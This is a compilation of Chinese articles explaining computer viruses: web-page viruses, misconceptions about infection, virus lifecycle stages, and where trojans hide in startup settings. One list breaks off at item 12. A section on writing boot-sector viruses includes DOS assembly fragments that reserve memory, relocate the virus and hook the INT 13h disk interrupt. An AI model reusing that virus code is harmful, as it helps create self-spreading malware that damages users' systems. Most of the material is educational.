尽管这些病毒的传播原理很简单,但这块决非仅仅是技术问题,还应该教育用户和企业,让它们采取适当的措施。例如,如果所有的Windows用户都关闭了VB脚本功能,像库尔尼科娃这样的病毒就不可能传播。只要用户随时小心警惕,不要打开值得怀疑的邮件,就可把病毒拒绝在外。
(3)挑选网络版杀毒软件
选择一个功力高深的网络版病毒”杀手”就至关重要了。一般而言,查杀是否彻底,界面是否友好、方便,能否实现远程控制、集中管理是决定一个网络杀毒软件的三大要素。

网页病毒的概念

     1、什么是网页病毒?
   它主要是利用软件或系统操作平台等的安全漏洞,通过执行嵌入在网页HTML超文本标记语言内的Java Applet小应用程序,JavaScript脚本语言程序,ActiveX软件部件网络交互技术支持可自动执行的代码程序,以强行修改用户操作系统的注册表设置及系统实用配置程序,或非法控制系统资源盗取用户文件,或恶意删除硬盘文件、格式化硬盘为行为目标的非法恶意程序。
 
   2、网页病毒的性质及特点:
   这种非法恶意程序能够得以被自动执行,在于它完全不受用户的控制。你一旦浏览含有该病毒的网页,即可以在你不知不觉的情况下马上中招,给用户的系统带来一般性的、轻度性的、严重恶性等不同程度的破坏。令你苦不堪言,甚至损失惨重无法弥补。 网页病毒的种类
   根据目前互联网上流行的常见网页病毒的作用对象及表现特征,归纳为以下两大种类:
 
   一、通过Java Script、Applet、ActiveX编辑的脚本程序修改IE浏览器:
   1.默认主页被修改;
   2.默认首页被修改;
   3.默认的微软主页被修改;
   4.主页设置被屏蔽锁定,且设置选项无效不可改回;
   5.默认的IE搜索引擎被修改;
   6.IE标题栏被添加非法信息
   7.OE标题栏被添加非法信息;
   8.鼠标右键菜单被添加非法网站广告链接;
   9.鼠标右键弹出菜单功能被禁用失常;
   10.IE收藏夹被强行添加非法网站的地址链接;
   11.在IE工具栏非法添加按钮;
   12.锁定地址下拉菜单及其添加文字信息;
   13.IE菜单“查看”下的“源文件”被禁用;
 
   二、通过Java Script、Applet、ActiveX编辑的脚本程序修改用户操作系统:
   1.开机出现对话框;
   2.系统正常启动后,但IE被锁定网址自动调用打开;
   3.格式化硬盘
   4.暗藏“万花谷”蛤蟆病毒,全方位侵害封杀系统,最后导致瘫痪崩溃;
   5.非法读取或盗取用户文件;
   6.锁定禁用注册表;
   7.注册表被锁定禁用之后,编辑*.reg注册表文件打开方式错乱;
   8.时间前面加广告;
   9.启动后首页被再次修改;
   10.更改“我的电脑”下的一系列文件夹名称。

纠正14条查杀电脑病毒的错误认识

1、对染毒软盘DIR操作会导致硬盘被感染(错)
 
如果计算机的内存没有病毒,那么只有在执行了带有病毒的程序(文件)后,才会感染计算机。而DIR命令是DOS的内部命令,不需要执行任何外部的程序(文件),因此对染毒软盘进行DIR操作不会感染病毒。
不过需要注意的是,如果计算机内存已有病毒(或者说计算机已染毒),如果对没有染毒的软盘进行DIR操作, 就可能感染软盘。说可能会感染是因为有些病毒不会通过DIR操作传播。
 
2、将文件改为只读方式可免受病霉的感染(错)
 
某些人认为通过DOS的外部命令ATTRIB,将文件设置为只读会十分有效地抵御病毒。 其实修改一个文件的属性只需要调用几个DOS中断就可以了,因此说ATTRIB命令对于阻止病毒的感染及传播几乎无能为力。
 
3、病毒能感染写保护的磁盘(错)
 
由于病毒可感染只读文件,不少人由此认为病毒也能修改在写保护磁盘上的文件。事实上,磁盘驱动器可以判断磁盘是否写保护,是否应该对其进行写操作,这一切都是由硬件来控制的,您可以物理地解除PC的写保护传感器,却不能用软件来做这件事。
如果您的软驱是正常的,而软盘的写保护一次也没有取下来,绝对不会感染病毒。但是如果您取下来了,并且用带毒的机器DIR过,则完全有可能感染病毒。注意这个DIR是从机器向软盘感染病毒,而不是把病毒从软盘传染到机器。
 
写保护和文件只读方式不同,设置文件只读方式是通过计算机,所以病毒能插上一手,可是写保护非要人手参与不可,病毒可没办法把写保护弄掉。计算机不能对写保护磁盘进行改写,这是任何操作都无法改变的(除非您把驱动器弄坏)。
 
4、反病毒软件能够杀除所有已知病毒(错)
 
病毒感染方式很多,有些病毒会强行覆盖执行程序的某一部分,将自身代码嵌入其中,以达到不改变被感染文件长度的目的,被这样的病毒覆盖掉的代码无法复原,因此这种病毒是无法安全杀除的。 病毒破坏了文件的某些内容, 在杀除这种病毒后是不能恢复文件的原貌的。
 
 5、使用杀毒软件可以免受病毒的侵扰(错)
 
目前市场上出售的杀毒软件,都只能在病毒泛滥之后才“一展身手”。但在杀毒之前病毒已经造成了工作的延误、数据的破坏或其他更为严重的后果。所以,应该选择一套完善的反毒系统,它不仅应包括常见的查、杀病毒功能,还应该同时包括有实时防毒功能,能实时地监测、跟踪对文件的各种操作,一旦发现病毒,立即报警,只有这样才能最大程度地减少被病毒感染的机会。

 6、磁盘文件损坏多为病毒所为(错)
 
文件的损坏有多种原因,电源电压波动、掉电、磁化、磁盘质量低劣、硬件错误、其他软件中的错误、灰尘、烟灰、茶水,甚至一个喷嚏都可能导致数据丢失。以上所举对文件造成的损坏,会比病毒造成的损失更常见,更严重。
 
7、如果做备份的时候,备份了病霉,那么这些备份是无用的(错)
 
有两种情况:①软盘备份:备份中含有引导型病毒。这种情况下,只要不用这张软盘试图启动您的计算机,它将和无毒备份一样安全。②磁带备份:备份中的数据文件中不会有病毒,如果其中的可执行文件中含有病毒,那么执行文件就白备份了,但是备份中的数据文件还是可用的。
 
8、反病毒软件可以随时随地防范任何病霉(错)
 
很显然,这种反病毒软件是不存在的。新病毒不断出现,要求反病毒软件必须快速升级。对抗病毒,我们需要的是一种安全策略和一个完善的反病毒系统,用备份作为防病毒的第一道防线,将反病毒软件作为第二道防线。 同时,软件的及时升级是加固第二道防线的唯一方法。使用反病毒软件是为了辅助防毒,它不可能是刀枪不入的保镖。
 
9、正版软件不会带病毒,可以安全使用(错)
 
计算机用户常被告知,“为了防范病毒的侵害,不要使用来历不明的软件”。这话不错,所谓“来历不明的软件”确实是计算机病毒传播主要途径之一。那么使用有“来历”的软件是否就可以高枕无忧呢?非也!实际上计算机报刊媒体已经多次报导过“正版软件”。“商品软件”带病毒问题。使用商品软件也不可掉以轻心,甚至新购买的计算机包括
 
原装计算机在使用前都须进行病毒检测。如确实由于原版软件带有病毒而造成重大的损失,应寻求法律保护。
不用软盘,不会感染病毒,因而无需选择杀毒软件
 
“不用软盘,就不会感染病毒”是常在初级用户中听到的一种言论,它和“使用软盘,就会感染病毒”是一对孪生姊妹,是两种相同类型的错误论调。
 
病毒的传染是通过带病毒软件进行的,但软盘并不是“带病毒软件”的唯一载体。可以说,凡是可以得到程序(软件)的地方,都可能“得到”病毒。也就是说,使用光盘、硬盘、磁带,或者通过局域/广域网络、Internet、BBS(电子公告板)使用或下载软件,都潜在感染病毒的危险。尤其是近年来 Internet和BBS的广泛使用,使得国内外病毒大面积、高速度的流行传播成为可能。这些具有国际性的计算机信息传播媒体,是潜在的病毒毒源和导管(当然,这些网络体系中也具有安全性较高的防/杀病毒系统),使每一个计算机用户都受到染毒的威胁。 —恐怕没有人会说他的计算机永远不会连上Internet。
 
人不可能不生病,所以计算机绝不可能不感染病毒,所以您必须选择杀毒软件。
 
人不可能都是医生,所以您没有必要独自去面对病毒,所以您必须选择杀毒软件。
 
 10、“能杀毒的就行”和“有一个杀毒软件就够了”(错)
 
“能杀毒的就行”和“有一个杀毒软件就够了”,这是一部分人在选择杀毒软件时的想法。一种常见的情况是,当您的计算机不正常时,找来一大堆杀毒软件,不管是正版还是盗版,能查能杀病毒就是好样的。其实很多计算机的故障并不是病毒导致,这样,很多的杀毒软件都“无效”;另一种更常见的情况是用户一般并不注意“查毒”与“杀毒”的区别,使用某种杀毒软件时,首选“杀毒”操作。于是,当它用这种杀毒软件将系统“杀毒”了一次以后,用其他杀毒软件,就再也找不到病毒了,那就认定这个软件是最好的。
 
目前还没有一个杀毒软件能囊括所有病毒而杀之,这是谁也做不到的。由于各种病毒标本的来源不同,再加上程序编制者的实力有别,总存在一种软件能查杀的病毒,别的软件却不能查杀。或者由于一些程序BUG(程序错误),使某些软件本来可以查杀的病毒,在它的一些版本中却不能查杀或误查误杀了。所以一般不建议用户革一的选择一种杀毒软件。
 
在选择杀毒软件时,请首先抛开您所有关于“好”与“不好”的成见,也拒绝广告词上的种种诱惑,认真地去了解一下杀病毒软件厂商在技术实力、服务质量、软件性能等方面的东西。特别应该了解软件厂商在升级、退货、损坏更换等方面的措施和承诺的可信度。同时,您应该请厂商直接阐述一下他们在广告中的各种术语的具体含义,要知道,这是您作为消费者的合法权益。
 
现在的反病毒软件市场就像“战国时代”,各家都说各家好。但消费者感到不放心,到底用谁的软件好?只用一个好还是用几个好?世上没有“万灵丹”,一个软件再好,也不是所有的病毒都能杀,不能“包治百病”。各软件厂家获取病毒样本的时间不同,因此,在每一个时间段,各软件厂家都是各有侧重,只有一个不保险。除了“万能的主”之外,这个世界上恐怕再也找不到万能的东西了。为防止“重复建设”,专家认为,选购两个优势互补的反病毒软件即可,这是提高“安全系数”的最佳方法。千万别把好几个反病毒软件都在同一台计算机上安装,大多了没必要,而且有可能出现相互之间抢占资源、判断失误、死机等问题。
 
11、发现CMOS中有病毒(错)
 
CMOS是微机中的一种特殊存储器,记录了微机的硬件设置参数及系统日期时间。开机密码等重要数据。由于CMOS设置十分重要,所以可能成为计算机病毒破坏攻击的目标。目前确实已发现了改写CMOS的“CMOS设置破坏者”病毒,但在CMOS中并不存在病毒。
有时,机器发生问题,问题出在CMOS设置上,有人认为,这是躲藏在CMOS里面的病毒!因而误认为杀毒软件不行,采取对CMOS存储器又是放电、又是短路的措施,重新设置CMOS参数后,机器恢复了正常,从此确信CMOS中有病毒。这种行为及其危险,很容易将主板搞坏。我们说“CMOS设置破坏者病毒,不等于CMOS中有病毒!病毒不能将自身自动传染到CMOS里面而存留和被激活!”,“病毒可以将CMOS设置改变或加密,但用户也可以重新设置和恢复。”
 
某些情况下,如CMOS电源不足、外界电源冲击性波动、软件崩溃、硬件不稳定、操作上的失误、病毒改写等都会导致CMOS 设置紊乱,也可以说,是紊乱性加密,因而,造成机器不能引导或不能正常工作。这时,一般情况下可以重新对CMOS设置和用专用软件来清理紊乱性密码,然后再设置正确参数。
 
CMOS中不会有病毒寄生,因为:
 
(1)CMOS是通过I/O读写与CPU交换数据的, CPU的物理机能决定了只能读写CMOS的数据,不能把CMOS中的数据当作指令代码来执行。而病毒想要工作的话就一定要执行其程序码,但CMOS只是用来存放数据的,在CMOS中的数据不是可执行的,所以并没有CMO5病毒,只有会破坏CMOS数据的病毒。
 
(2)如果把一段病毒程序写入CMOS,则必然破坏微机的硬件设置以至于微机根本不能运行,存储在CMOS中的“病毒程序”将毫无作用,病毒不能在CMOS中蔓延或藏身于其中。
 
(3)CMOS的有效存储容量只有128个字节,不足以容纳病毒。可见CMOS不具备病毒寄生和被激活的条件,不可能有病毒存在。
 
12、发现Cache中有病毒
 
与CMOS中没有病毒一样,Cache中也是根本不可能存在病毒的。
我们知道,程序执行时,数据流是这样被传送的:
 
外存(软/硬盘) 

PC病毒原理:感染-潜伏-繁殖-发作

    听到“计算机病毒”时,也许不少人会漠然地说:不就是一些侵入个人电脑中干坏事的程序嘛!
  最近像“蠕虫”和“特洛伊木马”之类的病毒术语几乎都成了普通电脑用户的口头禅了。下面就让我们从这些术语的含义开始了解一下计算机病毒。
“计算机病毒”的起源
  “计算机病毒”这种说法起源于美国弗雷德里克·B·科恩(Frederick B.Cohen)博士于1984年9月在美国计算机安全学会上发表的一篇论文(当时他还是美国加利弗尼亚大学研究生院的一名学生)。在这篇论文中,科恩首次把“为了把自身的拷贝传播给其他程序而修改并感染目标程序的程序”定义为“计算机病毒”。这就是计算机病毒的原始含义。
  在电视和杂志等报道中,绝大多数则把所有的非法程序统称为病毒。但是,计算机病毒专家至今仍尊重科恩博士当时的定义。因此笔者在本文将把寄生于其他程序中的程序称为病毒,而把人们一般所说的病毒称为“非法程序”。本文将对狭义上所讲的病毒以及非法程序的整个运行机制进行详细探讨。
自我繁殖的蠕虫

   按照非法程序的行动来划分,大体上可以分为病毒、蠕虫和特洛伊木马这三大类。
  蠕虫是指具有通过网络进行自我繁殖功能的程序。比如,随意利用邮件软件等应用程序向其他个人电脑发送含有自身拷贝的电子邮件。其代表是1999年年初首次出现、并在日本造成了巨大损失的“幸福99(Happy99)”蠕虫。
  最近有人说“病毒危害急剧增加的原因在于电子邮件的普及”,这句话只讲对了一半。从严格意义来讲应该说“其原因在于电子邮件的普及以及通过邮件繁殖的蠕虫的增加”。
伪装成正规软件的特洛伊木马
  特洛伊木马是指伪装成游戏和应用程序等正规程序的非法程序。其性质与狭义上所讲的病毒存在本质区别。特洛伊木马是单独运行的非法程序,不像病毒那样感染其他程序。
  另外,有的非法程序具有上述三类中的两类以上的性质。比如“兼具蠕虫功能的病毒”等。
病毒形态可分为4个阶段。不过,根据不同的病毒,有的可能不存在某个阶段,或者多个阶段同时并进
病毒形态可分为4个阶段
  下面笔者即将开始向大家说明病毒(非法程序)的本来面目。在此之前,首先向大家介绍一下非法程序的运行机理。
  典型的病毒运行机制可以分为(1)感染、(2)潜伏、(3)繁殖和(4)发作4个阶段。
(1)感染是指病毒自我复制并传播给其他程序;
(2)潜伏是指病毒等非法程序为了逃避用户和防病毒软件的监视而隐藏自身行踪的行为;
(3)繁殖是非法程序不断地由一部计算机向其他计算机进行传播的状态;
(4)发作是非法程序所实施的各种恶意行动。

    第一阶段:感染
结果是寄生到其他程序中
  在详细说明感染机理前,首先看一下感染途径。因为如果不了解病毒是如何进入到个人电脑的,就无法往下进行。
9成以上是通过电子邮件感染的
  病毒主要通过(1)电子邮件、(2)外部介质、(3)下载这3种途径入侵个人电脑。
  (1)电子邮件,是指把蠕虫和特洛伊木马本身以及受病毒感染的文件作为电子邮件附件等发送出去。有的是普通用户在不知道附件已经感染病毒的情况下发送了病毒邮件,有的是蠕虫本身自动地向外界发送邮件。而特洛伊木马则是由图谋不轨的第三者(即黑客)发送的。
  而且受病毒感染的不仅仅限于附件。比如,Windows附带的Outlook Express等常用电子邮件软件,大多都会利用Web浏览器的功能,解释并显示邮件正文中所描述的HTML代码。而病毒脚本往往就隐藏在HTML邮件当中。
  (2)外部介质,是指用户从别人那里借来带有病毒的软盘和光盘等介质后,病毒就会由这些介质入侵到自己的电脑中。尽管很多情况是由于从别人那里借来的软盘等介质中带有病毒而被感染,但也不完全如此,过去就曾发生过多起市售软件中含有病毒的情况。
  另外,通过外部介质的感染并不仅限于通过软盘和硬盘上的文件进行感染。有些病毒会隐藏在软盘和硬盘的起动区域中,这种情况稍后会作详细介绍。如果利用这种带病毒的外部介质起动个人电脑,就会受到病毒感染。
  (3)下载,是指用户从Web站点和FTP服务器中下载感染了特洛伊木马和病毒的文件。公司内部LAN上的文件服务器和不同电脑之间的文件共享都有可能成为感染病毒的原因。
  另外,在第三种感染途径中还存在极少数特殊情况。比如,99年曾在业界引起轩然大波的“Worm.ExploreZip”病毒,只要LAN上的其他个人电脑把起动系统的分区设置为完全共享,该病毒就会随意地发送自身的拷贝并实施感染。也就是说,即便电脑用户不进行下载,电脑也会自动下载并运行病毒。
  在这三种感染途径中,所占比例最大的是电子邮件。据受理日本国内病毒相关损失情况报告的日本信息处理振兴事业协会(IPA)表示,最近9成以上都是通过电子邮件感染的。就在数年前绝大多数还都是通过外部介质感染,由此可以看出电子邮件的普及对病毒感染造成了多么大的影响。也就是说病毒和电子邮件之间存在一种息息相关的关系。
感染目标有3个
  不过,即便病毒通过上述三种途径进入了个人电脑,也不会直接产生什么问题。只有在用户无意中打开了电子邮件附件、执行了病毒程序那一刻起才会引发感染。这一点非常重要,请读者务必谨记。
  用户一旦不慎起动病毒,感染即随之开始。根据病毒感染的不同目标,大体上可以把病毒分为如下3种:
  ·引导区感染型:
    感染硬盘和软件中保存起动程序的区域
  ·可执行文件感染型:
    感染扩展名为.com和.exe等程序(可执行文件)
  ·脚本感染型:
    感染微软Office产品(Word等)的文档文件和HTML文件等
 
下面依次对这3种病毒加以介绍。
 
在个人电脑起动时同时开始运行
  首先来看一下引导区感染型病毒(图4)。此类病毒感染软盘和硬盘的引导扇区(起动区域)。
  引导扇区是指在个人电脑起动的初始状态下被访问的特殊区域,该区域保存了起动电脑所需的小程序。在硬盘中称为主引导记录(MBR)。引导区感染型病毒就感染这些小程序。病毒感染引导扇区后,在操作系统起动之前病毒就会被读入内存,并由CPU执行。在这种状态下只要在电脑中插入其他软盘等外部介质,就会一个不落地感染所使用的软盘。
   随意更改可执行文件
  接下来谈谈可执行文件感染型病毒。顾名思义,可执行文件感染型病毒只感染文件扩展名为.com和.exe等的可执行文件。下面以Windows程序为倒,介绍一下可执行文件感染型病毒的感染机理。
  感染机理其实非常简单。用户无意间运行了病毒程序后,病毒就开始查找保存在个人电脑中的其他程序文件,并实施感染。如果是可感染文件,病毒就会随意地更改此文件,并把自身的病毒代码复制到程序中。更改文件的方法包括(A)覆盖感染型、(B)追加感染型、(C)插空感染型三种方式。
用病毒代码进行更改
  对于Windows程序文件,基本上来讲描述整个文件尺寸和程序代码起始位置等信息的文件头位于文件的起始部位,在其之后为程序代码。
  覆盖感染型病毒是指用自身的病毒代码覆盖文件的程序代码部分。由于只是单纯利用病毒代码进行覆盖,因此感染机理最为简单。
  不过,感染这种病毒后,程序文件就被破坏,无法正常工作。也就是说用户受感染后,原来的程序将不能运行,而只能起动病毒程序。结果,即便用户不能马上明白是不是病毒,也会立刻注意到发生了异常情况。
感染后原程序仍然工作
  比覆盖感染型更巧妙一些的是追加感染型病毒。
  此类病毒并不更改感染对象的程序代码,而是把病毒代码添加到程序文件最后。另外,追加感染型病毒还会更改原程序文件的文件头部分。
  具体来说就是把文件头中原来记述的“执行开始地址为XXX(原程序的开头)”等信息更改变成“执行开始地址为ZZZ(病毒程序的开头)”。这样一来,在原程序运行之前,病毒代码就会首先被执行。
  另外,在病毒代码的最后会描述一段代码,以便重新回到执行原程序的开始地址。这样一来,受感染程序在执行了病毒代码之后,就会接着执行原程序。
  结果,由于原程序会正常运行,用户很难察觉到已经感染了病毒。不过,程序受到追加感染型病毒的感染后,其文件尺寸会变得比原文件大。
  最后来看一下插空感染型病毒。这种病毒可以说是由追加感染型病毒发展而来的。事实上,它并不是在程序文件中查找合适的部位,然后把程序代码等信息添加到文件中,而是查找没有实际意义的数据所在的位置。插空感染型病毒找到这些部分以后,就把自身的代码覆盖到这些部分中。结果,尽管原程序照常运行,且文件尺寸也没有任何变化,但是仍能产生感染病毒的文件。
  不过,此类病毒进行感染的前提条件是感染对象文件必须具有足够的空间。所以,它无法感染没有足够空间的程序文件。
感染数据的宏病毒
   病毒不仅感染可执行文件,还可感染数据文件。这就是宏病毒等“脚本型病毒”。脚本型病毒的感染机理如下。
  用户打开带有病毒的数据文件后,该数据文件相关联的应用程序就会执行数据文件中描述的脚本。由此就会起动病毒,然后把自身的脚本添加(或覆盖)到其他数据文件中,进行感染。
   由于这种脚本型病毒并不感染可执行文件,而感染数据文件,因此也许会让人感觉与可执行文件感染型病毒区别很大。但实际上并没有太大的区别。虽说感染的是数据文件,但该数据文件最终还是含有可由某些特定应用程序来执行的程序代码的文件。最关键的是,在病毒运行过程中总体上是作为程序来运行的,因此在这个意义上来讲,与可执行文件感染型病毒在本质并没有任何区别。
  “宏病毒感染标准模板”就是一个能真实反映这种病毒特点的例子。比如感染Word文档的宏病毒,不仅感染用户生成的数据文件,有时还会感染Word起动时最先调用的标准模板这一特别文件。结果,每当Word应用程序起动时,就会运行宏病毒,每当打开和保存Word文档文件时,就会不断感染其他文档文件。也就是说,就好象病毒感染了Word应用程序本身一样。
 
    第二阶段:潜伏—-实施掩盖和伪装
  在第二阶段即潜伏过程中需要了解的内容是,病毒是如何为躲避用户和防病毒软件的侦察而进行隐藏的。通过与防病毒软件之间不断地“斗智斗勇”,有的病毒已经逐渐具备了非常高级的隐身法。最具代表性的潜伏方法是隐蔽和自我变异。
尺寸上作假,逃避监视
  隐蔽法是指为病毒为了已经隐藏文件已感染病毒的事实,向用户和防病毒软件提供虚假文件尺寸。比如,用户运行受病毒感染的文件后,病毒不仅会感染其他文件,还常驻内存并开始监视用户操作。如果用户运行文件列表显示等命令查看文件尺寸时,病毒就会代替操作系统提供虚假信息。
如果在第一阶段中介绍的追加感染型病毒采用这种方法,用户就很难察觉已经受到病毒感染。也就是说以文件尺寸的变化为线索分析感染情况会变得相当困难。
通过伪装躲避追踪
  另一个潜伏方法即自我变异是指病毒通过实际改变自身的形态,来主要逃避防病毒软件的检测。尽管在第二部分已经进行了详细说明,笔者在这里再解释一遍,防病毒软件为了检测病毒,首先会提取病毒特征代码,然后通过比较文件和病毒特征代码来查找病毒感染情况。
  也就是说这种方法是指病毒通过采取某些措施,由于在每次感染时都会改变自身形态(病毒特征代码),因此即便与防病毒软件掌握的特征代码相对照,也不会被发现。另外,也有人把此类病毒称为变形病毒。
  还有一种比自我变异更高级的方法即“加密法”,指每次感染时先对自身进行加密,然后把还原程序及加密密钥嵌入到感染的对象文件中。如果此类病毒准备了大量的加密密钥,那么由于每次感染时就会变成不同的数据,因此防病毒软件就很难发现。
  为了防止被破解,加密过程越复杂、加密时就越要花费更多的时间。也就是说,加密法越复杂,不仅越容易被用户察觉,而且病毒自身的感染速度也变得越慢。不过最近的个人电脑性能已经很高,进行这种处理根本不算是什么负担。
 
    第三阶段:繁殖—-通过网络传播
  就像在感染阶段那部分所提到的那样,最近病毒主要通过电子邮件入侵个人电脑。将电子邮件用作传播媒介的就是蠕虫。
  实际上,最近发生的大规模病毒感染事件基本上都与蠕虫分不开。为了了解这些事件的真相,下面首先说明一下蠕虫繁殖的机理。
随意假借邮件软件实施传播
  首先以最具代表性的Windows蠕虫为例,说明一下蠕虫繁殖的过程(图8(点击放大))。比如99年春出现的、仅在数日内就有数万台甚至数十万部个人电脑被感染的梅莉莎蠕虫(也称为W97M.、Melissa.A)。
  梅莉莎蠕虫属于感染Word文档文件的宏病毒,会作为电子邮件附件发送给用户。用户一旦打开(运行)该附件,在感染Word的同时,也开始作为蠕虫进行繁殖。
  具体来说,该蠕虫会随意使用Word宏功能,起动电子邮件软件Outlook,然后把包括自身拷贝的Word文档文件添加到电子邮件中,并发送给Outlook地址薄中登记的前50个邮件地址。
  也就是说,即便用户并没有与别人交换软盘之类的存储媒介,该蠕虫也会为所欲为地把自身拷贝发送给其他用户并进行繁殖。
完全自动的UNIX蠕虫
  最近出现的蠕虫基本上都像梅莉莎蠕虫一样通过电子邮件软件进行繁殖。但还有其他类型的蠕虫。这就是主要在UNIX系统中繁殖的蠕虫,此类蠕虫曾经是蠕虫的主流品种。
  为数众多的UNIX蠕虫的最大特点是:完全自动地通过网络进行繁殖。像梅莉莎这样的使用电子邮件进行繁殖的蠕虫虽然能够向其他电脑发送自身拷贝,但此后就只能等着电脑用户去运行附件了。而UNIX蠕虫则不需用户进行任何操作即可进行繁殖。
  之所以能如此,是因为UNIX机器基本上都是作为服务器来使用。也就是说由于运行了服务器软件,因此利用服务器软件的安全漏洞,由外部发送并运行蠕虫。
  我们来具体地看一下其繁殖过程。UNIX蠕虫首先在合适的IP地址范围内,查找正在运行具有某种特定安全漏洞的服务器软件的UNIX机器。然后一旦找到符合条件的服务器,就会利用服务器软件的安全漏洞由外部执行命令,向服务器内部发送自身拷贝。紧接着再运行所发送的蠕虫。
 
    第四阶段:发作—-没有病毒不能做的事情
  最后一个阶段是发作。对于发作,笔者最想强调的是“病毒在个人电脑中什么事都可以干得出来”。病毒既然是在个人电脑上运行的程序,就绝不存在“因为是病毒,所以可以干这个”和“蠕虫干不了这个”的说法。
破坏程度因人而异
  下面就具体说明病毒发作后会产生什么情况,以及根据用户遭受的损失来介绍一下其典型症状。
  如果把破坏程度分为3个等级,那么破坏程度最大的大概就算是“格式化硬盘”和“删除文件”等直接破坏行为了。尤其是“破坏电脑BIOS”的发作症状,由于电脑将不能起动,用户自行进行修复根本无从谈起,在经济上的损失非常大。
  除这种直接破坏行为以外,“改写文件”、“大量发送邮件”、“显示信息”和“占用内存”等症状会因病毒不同而千差万别。也有不发作的病毒。
  什么样的症状对应何种程度的危险,上述所说的只是一般的标准。
  对于病毒的发作,还有另一个容易让人误解的地方。这就是指,“包括宏病毒在内的脚本病毒,由于它只在相应的应用程序等封闭的环境中运行,因此即使发作也不会产生影响到整个电脑的巨大损失”。
  其实这是大错特错的。微软Offic产品的宏语言等被病毒视为攻击对象的脚本语言大都能够超越应用程序的范围而进行操作。比如,删除系统文件也只需利用数行代码即可轻松完成。

引导型病毒编制方法

        引导形病毒指驻留在硬盘的主引导分区或硬软盘的 DOS 引导分区的病毒。由于 pc 开机后,会先执行主引导分区的代码,因此病毒可以获得第一控制权,在引导 DOS 操作系统之前,作完以下事情:
a. 减少dos可用最大内存量,以供己需;如:
     xor ax,ax
     mov ss,ax
     mov sp,7c00h
     mov ds,ax
     mov ax,word ptr ds:[413h] ; here store largest mem 0000:0413
     sub ax,2         ; apply 2k mem for virus
     mov ds:[413h],ax
b. 修改必要的中断向量,以便传播;
c. 读入病毒的其它部分,进行病毒的拼装(在内存高端);
        先从已标记的簇中某扇区读入病毒的其他部分,这些簇往往被标记为坏簇,(但是文件型病毒则不必如此,二者混合型亦然)然后再读入原引导记录到0000:7c00h,跳转执行。代码如下:     mov cl,06h
     shl ax,cl    ; ax = 8F80
     add ax,0840h  ; ax = 97c0
     mov es,ax
     mov si,7c00h  ; si = 7c00
     mov di,si
     mov cx,0100h
     repz movsw   ; 将病毒移到高端.
   v2: push ax
     pop ds
     push ax
     mov bx,7c4bh
     push bx
     ret       ; 指令执行转入高端内存
     call v3
   v3: xor ah,ah    ; ah=0
     int 13h
     mov ah,80h
     and byte ptr ds:[7df8h],al
   v4: mov bx,word ptr ds:[7df9h] ; 读入病毒的其他部分.
     push cs
     pop ax     ; ax=97c0
     sub ax,20h   ; ax=97a0
     mov es,ax    ; es=97a0
     call v9
     mov bx,word ptr ds:[7df9h] ; load logic sector id
     inc bx           ; bx++ , is boot sector
     mov ax,0ffc0h  ; ffc0:8000 = 0000:7c00 读入原引导分区内容.
     mov es,ax
     call v9
     xor ax,ax    ; AX=0
     mov byte ptr ds:[7df7h],al ; flag = 0
   v5: mov ds,ax    ; ds=0
     mov ax,word ptr ds:[4ch]  ;
     mov bx,word ptr ds:[4eh]  ; 修改中断向量.
    mov word ptr ds:[4ch],7cd6h
     mov word ptr ds:[4eh],cs  ; now int13h had been changed
     push cs
     pop ds     ; ds=cs
     mov word ptr ds:[7d30h],ax ; save original int13 vector
     mov word ptr ds:[7d32h],bx ;
   v6: mov dl,byte ptr ds:[7df8h] ; load drive letter
   v7:
     ;=======================================================
     ; jmp 0000:7c00       ; here is a jump
     db 0eah,00h,7ch,00h,00h 这里是个跳转指令的二进制代码.
     ;=======================================================
d. 读入原主引导分区,转去执行dos的引导工作。




Modified At 2008-01-23 17:58:01

木马病毒的通用解法

        “木马”程序会想尽一切办法隐藏自己,主要途径有:
        在任务栏中隐藏自己,这是最基本的只要把Form的Visible属性设为False、ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了。
        在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。 当然它也会悄无声息地启动,你当然不会指望用户每次启动后点击“木马”图标来运行服务端,“木马”会在每次用户启动时自动装载服务端,Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、win.ini、system.ini、注册表等等都是“木马”藏身的好地方。
        下面具体谈谈“木马”是怎样自动加载的。     
        在win.ini文件中,在[WINDOWS]下面,“run=”和“load=”是可能加载“木马”程序的途径,必须仔细留心它们。一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了。当然你也得看清楚,因为好多“木马”,如“AOL Trojan木马”,它把自身伪装成command.exe文件,如果不注意可能不会发现它不是真正的系统启动文件。 
        在system.ini文件中,在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”,如果不是“explorer.exe”,而是“shell= explorer.exe 程序名”,那么后面跟着的那个程序就是“木马”程序,就是说你已经中“木马”了。 
        在注册表中的情况最复杂,通过regedit命令打开注册表编辑器,在点击至:“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”目录下,查看键值中有没有自己不熟悉的自动启动文件,扩展名为EXE,这里切记:有的“木马”程序生成的文件很像系统自身文件,想通过伪装蒙混过关,如“Acid Battery v1.0木马”,它将注册表“HKEY-LOCAL-MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”下的 Explorer 键值改为Explorer=“C:\WINDOWS\expiorer.exe”,“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木马”程序,如:“HKEY-CURRENT-USER\Software\Microsoft\Windows\CurrentVersion\Run”、“HKEY-USERS\****\Software\Microsoft\Windows\CurrentVersion\Run”的目录下都有可能,最好的办法就是在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下找到“木马”程序的文件名,再在整个注册表中搜索即可。 
        